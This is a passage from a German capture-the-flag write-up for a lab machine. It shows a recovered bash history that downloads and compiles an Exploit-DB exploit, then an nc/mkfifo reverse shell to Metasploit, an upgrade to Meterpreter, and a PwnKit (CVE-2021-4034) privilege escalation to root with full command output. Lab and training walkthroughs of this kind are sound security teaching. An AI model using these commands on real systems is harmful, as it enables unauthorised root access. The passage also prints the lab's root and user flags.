find / -prem -u=s -type f 2>/dev/null
cd /usr/local/Serv-U/
clear
wget https://www.exploit-db.com/download/47009
clear
ls
clear
mv 47009 ./exploit.c
gcc exploit.c -o exploit
./exploit
cd ../../../../../../../
ls
cd cd
cd
grep -r 'beelzebub'
grep -r 'love'
cd .local/share
                    

**Analyse:** Die Berechtigungen des `/home/krampus`-Verzeichnisses werden angezeigt (`drwsrwxrwx`). Sie sind extrem unsicher: SGID-Bit gesetzt (`s` statt `x` bei der Gruppe) und das Verzeichnis ist weltbeschreibbar (`w` bei Others). Die `.bash_history` von `krampus` wird angezeigt.

**Bewertung:** Die unsicheren Berechtigungen des Home-Verzeichnisses sind ungewöhnlich, bieten aber nicht direkt einen Eskalationspfad. Die `.bash_history` zeigt interessante frühere Aktivitäten: Der Benutzer `krampus` hat versucht, Root zu werden (`su root`) und hat einen Exploit (ID 47009 von Exploit-DB) heruntergeladen, kompiliert und ausgeführt. Dies deutet darauf hin, dass der Benutzer selbst versucht hat, Rechte zu eskalieren. Exploit 47009 bezieht sich oft auf Schwachstellen im Kernel oder spezifischen Diensten, was hier nicht direkt weiterhilft, aber das Vorgehen des Benutzers zeigt.

**Empfehlung (Pentester):** Die History bestätigt frühere Eskalationsversuche, aber der Fokus sollte auf den aktuellen Funden bleiben (PwnKit).
**Empfehlung (Admin):** Korrigiere die unsicheren Berechtigungen des Home-Verzeichnisses (`chmod 700 /home/krampus`). Untersuche die Aktionen des `krampus`-Benutzers.

**Metasploit-Nutzung (Fortsetzung):** Der Pentester nutzt Metasploit weiter. 1. **Reverse Shell:** Eine neue Reverse Shell wird über `mkfifo` und `nc` von der `krampus`-Shell zum Metasploit-Handler auf Port `4444` aufgebaut. Session 1 wird geöffnet. 2. **Upgrade zu Meterpreter:** Session 1 wird mit `post/multi/manage/shell_to_meterpreter` zu Meterpreter-Session 2 (auf Port `4433`) aufgewertet. 3. **Exploit Suggester:** `local_exploit_suggester` wird auf Session 2 angewendet.

**Bewertung:** Standardvorgehen, um eine stabilere Meterpreter-Session zu erhalten und automatisiert nach Exploits zu suchen.

**Empfehlung (Pentester):** Suggester-Ergebnisse auswerten.
**Empfehlung (Admin):** Siehe vorherige Metasploit-Empfehlungen.

msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.2.118 - Collecting local exploits for x86/linux...
[*] 192.168.2.118 - 186 exploit checks are being tried...
[+] 192.168.2.118 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
... (andere mögliche) ...
[*] 192.168.2.118 - Valid modules for session 2:
 #   Name                                                               Potentially Vulnerable?  Check Result
 -   -                                                               --
 1   exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec                Yes                      The target is vulnerable.
...
                    

**Analyse:** Der Exploit Suggester läuft und meldet mehrere potenzielle Schwachstellen.

**Bewertung:** PwnKit (`cve_2021_4034_pwnkit_lpe_pkexec`) wird erneut als "vulnerable" bestätigt. Dies ist der zuverlässigste Weg. Andere Vorschläge (`netfilter_priv_esc_ipv4`, `servu_ftp_server...`) könnten ebenfalls funktionieren, sind aber komplexer oder weniger wahrscheinlich.

**Empfehlung (Pentester):** Nutze das PwnKit-Modul.
**Empfehlung (Admin):** System patchen!

msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST 192.168.2.137 
LHOST => 192.168.2.137
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 4446
LPORT => 4446
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set WRITABLE_DIR /tmp
WRITABLE_DIR => /tmp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run

[*] Started reverse TCP handler on 192.168.2.137:4446
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Writing '/tmp/.ehqsiow/odmogiz/odmogiz.so' (548 bytes) ...
[*] Sending stage (3045348 bytes) to 192.168.2.118
[+] Deleted ...
[*] Meterpreter session 3 opened (192.168.2.137:4446 -> 192.168.2.118:46678) at 2023-06-30 14:52:37 +0200

meterpreter >
                    

**Analyse:** Das PwnKit-Modul wird ausgewählt, auf die Meterpreter-Session 2 gesetzt, mit Callback-IP/Port (`192.168.2.137:4446`) konfiguriert und ausgeführt.

**Bewertung:** Der Exploit ist erfolgreich! Eine neue Meterpreter-Session (ID 3) mit Root-Rechten wird geöffnet.

**Empfehlung (Pentester):** Ziel erreicht! Überprüfe Rechte und suche Flags.
**Empfehlung (Admin):** System patchen!

meterpreter > getuid
Server username: root
meterpreter > ls /root
Listing: /root
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100600/rw-------  1215  fil   2021-03-19 20:31:50 +0100  .bash_history
040700/rwx------- 4096  dir   2021-03-21 00:09:30 +0100  .cache
040700/rwx------- 4096  dir   2020-05-27 11:53:42 +0200  .config
040700/rwx------- 4096  dir   2021-03-19 19:14:01 +0100  .gnupg
040755/rwxr-xr-x  4096  dir   2019-10-20 17:33:45 +0200  .local
100600/rw-------  893   fil   2021-03-19 12:24:02 +0100  .mysql_history
100644/rw-r--r--  148   fil   2015-08-17 17:30:33 +0200  .profile
100644/rw-r--r--  66    fil   2020-04-02 12:31:59 +0200  .selected_editor
100644/rw-r--r--  33    fil   2021-03-19 12:58:54 +0100  root.txt 

meterpreter > cat /root/root.txt
8955qpasq8qq807879p75e1rr24cr1a5
                    

**Analyse:** In der Root-Meterpreter-Session wird mit `getuid` bestätigt, dass sie als `root` läuft. Der Befehl `ls /root` listet den Inhalt des Root-Home-Verzeichnisses auf, einschließlich der Datei `root.txt`. Der Inhalt von `root.txt` wird mit `cat` ausgelesen.

**Bewertung:** Root-Zugriff bestätigt. Die Root-Flagge (`8955qpasq8qq807879p75e1rr24cr1a5`) wurde erfolgreich gefunden und ausgelesen.

**Empfehlung (Pentester):** Root-Flagge dokumentieren. User-Flagge suchen (falls noch nicht geschehen).
**Empfehlung (Admin):** System kompromittiert.

Flags

cat /home/krampus/user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt
8955qpasq8qq807879p75e1rr24cr1a5